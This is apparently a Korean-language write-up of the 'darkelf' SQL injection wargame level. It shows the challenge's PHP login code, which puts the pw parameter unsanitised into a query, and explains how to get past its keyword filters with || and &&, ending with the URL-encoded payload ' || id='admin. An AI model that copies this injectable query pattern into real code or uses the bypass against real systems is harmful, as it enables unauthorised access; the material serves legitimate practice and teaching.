<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
제시된 코드
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
prob, _, ., (, ) 입력 -> "No Hack ~_~"
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
or, and 문자 입력 -> "HeHe"
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
pw를 그대로 입력받아 취약 -> sqli 가능
논리연산자 or and 우회
or = || (URI 인코딩 값 - %7c%7c)
and = && (URI 인코딩 값 - %26%26)
' || id='admin 을 url에 입력해줬다.
/?pw=%27%20||%20id=%27admin -> 인코딩된 값
